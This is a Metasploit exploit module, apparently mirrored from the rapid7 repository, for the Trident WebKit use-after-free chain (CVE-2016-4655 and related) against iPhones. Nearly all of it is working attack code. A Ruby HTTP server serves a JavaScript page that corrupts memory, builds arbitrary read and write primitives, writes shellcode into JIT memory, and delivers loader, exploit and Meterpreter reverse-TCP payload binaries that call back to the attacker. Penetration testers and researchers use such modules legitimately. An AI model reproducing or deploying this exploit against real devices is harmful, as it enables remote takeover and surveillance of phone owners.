CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/apple_ios/browser/webkit_trident.rb
Views: 11784
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = ManualRanking
8
9
include Msf::Exploit::Remote::HttpServer::HTML
10
11
def initialize(info = {})
12
super(update_info(info,
13
'Name' => 'WebKit not_number defineProperties UAF',
14
'Description' => %q{
15
This module exploits a UAF vulnerability in WebKit's JavaScriptCore library.
16
},
17
'License' => MSF_LICENSE,
18
'Author' => [
19
'qwertyoruiop', # jbme.qwertyoruiop.com
20
'siguza', # PhoenixNonce
21
'tihmstar', # PhoenixNonce
22
'benjamin-42', # Trident
23
'timwr', # metasploit integration
24
],
25
'References' => [
26
['CVE', '2016-4655'],
27
['CVE', '2016-4656'],
28
['CVE', '2016-4657'],
29
['BID', '92651'],
30
['BID', '92652'],
31
['BID', '92653'],
32
['URL', 'https://blog.lookout.com/trident-pegasus'],
33
['URL', 'https://citizenlab.ca/2016/08/million-dollar-dissident-iphone-zero-day-nso-group-uae/'],
34
['URL', 'https://www.blackhat.com/docs/eu-16/materials/eu-16-Bazaliy-Mobile-Espionage-in-the-Wild-Pegasus-and-Nation-State-Level-Attacks.pdf'],
35
['URL', 'https://github.com/Siguza/PhoenixNonce'],
36
['URL', 'https://jndok.github.io/2016/10/04/pegasus-writeup/'],
37
['URL', 'https://sektioneins.de/en/blog/16-09-02-pegasus-ios-kernel-vulnerability-explained.html'],
38
['URL', 'https://github.com/benjamin-42/Trident'],
39
['URL', 'http://blog.tihmstar.net/2018/01/modern-post-exploitation-techniques.html'],
40
],
41
'Arch' => ARCH_AARCH64,
42
'Platform' => 'apple_ios',
43
'DefaultTarget' => 0,
44
'DefaultOptions' => { 'PAYLOAD' => 'apple_ios/aarch64/meterpreter_reverse_tcp' },
45
'Targets' => [[ 'Automatic', {} ]],
46
'DisclosureDate' => '2016-08-25'))
47
register_options(
48
[
49
OptPort.new('SRVPORT', [ true, "The local port to listen on.", 8080 ]),
50
OptString.new('URIPATH', [ true, "The URI to use for this exploit.", "/" ])
51
])
52
end
53
54
def payload_url
55
"tcp://#{datastore["LHOST"]}:#{datastore["LPORT"]}"
56
end
57
58
def on_request_uri(cli, request)
59
print_status("Request from #{request['User-Agent']}")
60
if request.uri =~ %r{/loader32$}
61
print_good("armle target is vulnerable.")
62
local_file = File.join( Msf::Config.data_directory, "exploits", "CVE-2016-4655", "exploit32" )
63
loader_data = File.read(local_file, mode: 'rb')
64
srvhost = Rex::Socket.resolv_nbo_i(srvhost_addr)
65
config = [srvhost, srvport].pack("Nn") + payload_url
66
payload_url_index = loader_data.index('PAYLOAD_URL')
67
loader_data[payload_url_index, config.length] = config
68
send_response(cli, loader_data, {'Content-Type'=>'application/octet-stream'})
69
return
70
elsif request.uri =~ %r{/loader64$}
71
print_good("aarch64 target is vulnerable.")
72
local_file = File.join( Msf::Config.data_directory, "exploits", "CVE-2016-4655", "loader" )
73
loader_data = File.read(local_file, mode: 'rb')
74
send_response(cli, loader_data, {'Content-Type'=>'application/octet-stream'})
75
return
76
elsif request.uri =~ %r{/exploit64$}
77
local_file = File.join( Msf::Config.data_directory, "exploits", "CVE-2016-4655", "exploit" )
78
loader_data = File.read(local_file, mode: 'rb')
79
payload_url_index = loader_data.index('PAYLOAD_URL')
80
loader_data[payload_url_index, payload_url.length] = payload_url
81
send_response(cli, loader_data, {'Content-Type'=>'application/octet-stream'})
82
print_status("Sent exploit (#{loader_data.size} bytes)")
83
return
84
elsif request.uri =~ %r{/payload32$}
85
payload_data = MetasploitPayloads::Mettle.new('arm-iphone-darwin').to_binary :dylib_sha1
86
send_response(cli, payload_data, {'Content-Type'=>'application/octet-stream'})
87
print_status("Sent payload (#{payload_data.size} bytes)")
88
return
89
end
90
html = %Q^
91
<html>
92
<body>
93
<script>
94
95
function load_binary_resource(url) {
96
var req = new XMLHttpRequest();
97
req.open('GET', url, false);
98
req.overrideMimeType('text/plain; charset=x-user-defined');
99
req.send(null);
100
return req.responseText;
101
}
102
103
var pressure = new Array(400);
104
var bufs = new Array(10000);
105
106
var fcp = 0;
107
var smsh = new Uint32Array(0x10);
108
109
var trycatch = "";
110
for(var z=0; z<0x4000; z++) trycatch += "try{} catch(e){}; ";
111
var fc = new Function(trycatch);
112
113
function dgc() {
114
for (var i = 0; i < pressure.length; i++) {
115
pressure[i] = new Uint32Array(0xa000);
116
}
117
for (var i = 0; i < pressure.length; i++) {
118
pressure[i] = 0;
119
}
120
}
121
122
function swag() {
123
if(bufs[0]) return;
124
125
dgc();
126
127
for (i=0; i < bufs.length; i++) {
128
bufs[i] = new Uint32Array(0x100*2)
129
for (k=0; k < bufs[i].length; )
130
{
131
bufs[i][k++] = 0x41414141;
132
bufs[i][k++] = 0xffff0000;
133
}
134
}
135
}
136
137
var mem0=0;
138
var mem1=0;
139
var mem2=0;
140
141
function read4(addr) {
142
mem0[4] = addr;
143
var ret = mem2[0];
144
mem0[4] = mem1;
145
return ret;
146
}
147
148
function write4(addr, val) {
149
mem0[4] = addr;
150
mem2[0] = val;
151
mem0[4] = mem1;
152
}
153
154
_dview = null;
155
function u2d(low, hi) {
156
if (!_dview) _dview = new DataView(new ArrayBuffer(16));
157
_dview.setUint32(0, hi);
158
_dview.setUint32(4, low);
159
return _dview.getFloat64(0);
160
}
161
162
function go_(){
163
var arr = new Array(0x100);
164
var not_number = {};
165
not_number.toString = function() {
166
arr = null;
167
props["stale"]["value"] = null;
168
swag();
169
return 10;
170
};
171
172
smsh[0] = 0x21212121;
173
smsh[1] = 0x31313131;
174
smsh[2] = 0x41414141;
175
smsh[3] = 0x51515151;
176
smsh[4] = 0x61616161;
177
smsh[5] = 0x71717171;
178
smsh[6] = 0x81818181;
179
smsh[7] = 0x91919191;
180
181
var props = {
182
p0 : { value : 0 },
183
p1 : { value : 1 },
184
p2 : { value : 2 },
185
p3 : { value : 3 },
186
p4 : { value : 4 },
187
p5 : { value : 5 },
188
p6 : { value : 6 },
189
p7 : { value : 7 },
190
p8 : { value : 8 },
191
length : { value : not_number },
192
stale : { value : arr },
193
after : { value : 666 }
194
};
195
196
var target = [];
197
var stale = 0;
198
Object.defineProperties(target, props);
199
stale = target.stale;
200
201
if (stale.length != 0x41414141){
202
location.reload();
203
return;
204
}
205
206
var obuf = new Uint32Array(2);
207
obuf[0] = 0x41414141;
208
obuf[1] = 0xffff0000;
209
210
stale[0] = 0x12345678;
211
stale[1] = {};
212
213
for(var z=0; z<0x100; z++) fc();
214
215
for (i=0; i < bufs.length; i++) {
216
var dobreak = 0;
217
for (k=0; k < bufs[0].length; k++) {
218
if (bufs[i][k] == 0x12345678) {
219
if (bufs[i][k+1] == 0xFFFF0000) {
220
stale[0] = fc;
221
fcp = bufs[i][k];
222
stale[0] = {
223
'a': u2d(105, 0),
224
'b': u2d(0, 0),
225
'c': smsh,
226
'd': u2d(0x100, 0)
227
}
228
stale[1] = stale[0];
229
bufs[i][k] += 0x10;
230
bck = stale[0][4];
231
stale[0][4] = 0;
232
stale[0][6] = 0xffffffff;
233
mem0 = stale[0];
234
mem1 = bck;
235
mem2 = smsh;
236
bufs.push(stale);
237
if (smsh.length != 0x10) {
238
var filestream = load_binary_resource("loader64");
239
var macho = load_binary_resource("exploit64");
240
r2 = smsh[(fcp+0x18)/4];
241
r3 = smsh[(r2+0x10)/4];
242
var jitf = smsh[(r3+0x10)/4];
243
write4(jitf, 0xd28024d0); //movz x16, 0x126
244
write4(jitf + 4, 0x58000060); //ldr x0, 0x100007ee4
245
write4(jitf + 8, 0xd4001001); //svc 80
246
write4(jitf + 12, 0xd65f03c0); //ret
247
write4(jitf + 16, jitf + 0x20);
248
write4(jitf + 20, 1);
249
fc();
250
var dyncache = read4(jitf + 0x20);
251
var dyncachev = read4(jitf + 0x20);
252
var go = 1;
253
while (go) {
254
if (read4(dyncache) == 0xfeedfacf) {
255
for (i = 0; i < 0x1000 / 4; i++) {
256
if (read4(dyncache + i * 4) == 0xd && read4(dyncache + i * 4 + 1 * 4) == 0x40 && read4(dyncache + i * 4 + 2 * 4) == 0x18 && read4(dyncache + i * 4 + 11 * 4) == 0x61707369) // lulziest mach-o parser ever
257
{
258
go = 0;
259
break;
260
}
261
}
262
}
263
dyncache += 0x1000;
264
}
265
dyncache -= 0x1000;
266
var bss = [];
267
var bss_size = [];
268
for (i = 0; i < 0x1000 / 4; i++) {
269
if (read4(dyncache + i * 4) == 0x73625f5f && read4(dyncache + i * 4 + 4) == 0x73) {
270
bss.push(read4(dyncache + i * 4 + (0x20)) + dyncachev - 0x80000000);
271
bss_size.push(read4(dyncache + i * 4 + (0x28)));
272
}
273
}
274
var shc = jitf;
275
for (var i = 0; i < filestream.length;) {
276
var word = (filestream.charCodeAt(i) & 0xff) | ((filestream.charCodeAt(i + 1) & 0xff) << 8) | ((filestream.charCodeAt(i + 2) & 0xff) << 16) | ((filestream.charCodeAt(i + 3) & 0xff) << 24);
277
write4(shc, word);
278
shc += 4;
279
i += 4;
280
}
281
jitf &= ~0x3FFF;
282
jitf += 0x8000;
283
write4(shc, jitf);
284
write4(shc + 4, 1);
285
// copy macho
286
for (var i = 0; i < macho.length;i+=4) {
287
var word = (macho.charCodeAt(i) & 0xff) | ((macho.charCodeAt(i + 1) & 0xff) << 8) | ((macho.charCodeAt(i + 2) & 0xff) << 16) | ((macho.charCodeAt(i + 3) & 0xff) << 24);
288
write4(jitf+i, word);
289
}
290
for (var i = 0; i < bss.length; i++) {
291
for (k = bss_size[i] / 6; k < bss_size[i] / 4; k++) {
292
write4(bss[i] + k * 4, 0);
293
}
294
}
295
fc();
296
}
297
} else if(bufs[i][k+1] == 0xFFFFFFFF) {
298
stale[0] = fc;
299
fcp = bufs[i][k];
300
stale[0] = smsh;
301
stale[2] = {'a':u2d(0x2,0x10),'b':smsh, 'c':u2d(0,0), 'd':u2d(0,0)}
302
stale[0] = {'a':u2d(0,0x00e00600),'b':u2d(1,0x10), 'c':u2d(bufs[i][k+2*2]+0x10,0), 'd':u2d(0,0)}
303
stale[1] = stale[0];
304
bufs[i][k] += 0x10;
305
var leak = stale[0][0].charCodeAt(0);
306
leak += stale[0][1].charCodeAt(0) << 8;
307
leak += stale[0][2].charCodeAt(0) << 16;
308
leak += stale[0][3].charCodeAt(0) << 24;
309
bufs[i][k] -= 0x10;
310
stale[0] = {'a':u2d(leak,0x00602300), 'b':u2d(0,0), 'c':smsh, 'd':u2d(0,0)}
311
stale[1] = stale[0];
312
bufs[i][k] += 0x10;
313
stale[0][4] = 0;
314
stale[0][5] = 0xffffffff;
315
bufs[i][k] -= 0x10;
316
mem0 = stale[0];
317
mem2 = smsh;
318
if (smsh.length != 0x10) {
319
setTimeout(function() {
320
var filestream = load_binary_resource("loader32");
321
r2 = smsh[(fcp+0x14)/4];
322
r3 = smsh[(r2+0x10)/4];
323
shellcode = (smsh[(r3+0x14)/4]&0xfffff000)-0x10000;
324
smsh[shellcode/4] = 0;
325
shellcode += 4;
326
smsh[shellcode/4] = 0;
327
shellcode += 4;
328
smsh[shellcode/4] = 0;
329
shellcode += 4;
330
smsh[shellcode/4] = 0;
331
shellcode += 4;
332
for(var i = 0; i < filestream.length; i+=4) {
333
var word = (filestream.charCodeAt(i) & 0xff) | ((filestream.charCodeAt(i+1) & 0xff) << 8) | ((filestream.charCodeAt(i+2) & 0xff) << 16) | ((filestream.charCodeAt(i+3) & 0xff) << 24);
334
smsh[(shellcode+i)/4] = word;
335
}
336
smsh[(fcp+0x00)/4] = fcp+4;
337
smsh[(fcp+0x04)/4] = fcp+4;
338
smsh[(fcp+0x08)/4] = shellcode+1; //PC
339
smsh[(fcp+0x30)/4] = fcp+0x30+4-0x18-0x34+0x8;
340
341
fc();
342
}, 100);
343
}
344
} else {
345
location.reload();
346
}
347
dobreak = 1;
348
break;
349
}
350
}
351
if (dobreak) break;
352
}
353
location.reload();
354
}
355
356
setTimeout(go_, 300);
357
358
359
</script>
360
</body>
361
</html>
362
^
363
send_response(cli, html, {'Content-Type'=>'text/html'})
364
end
365
366
end
367
368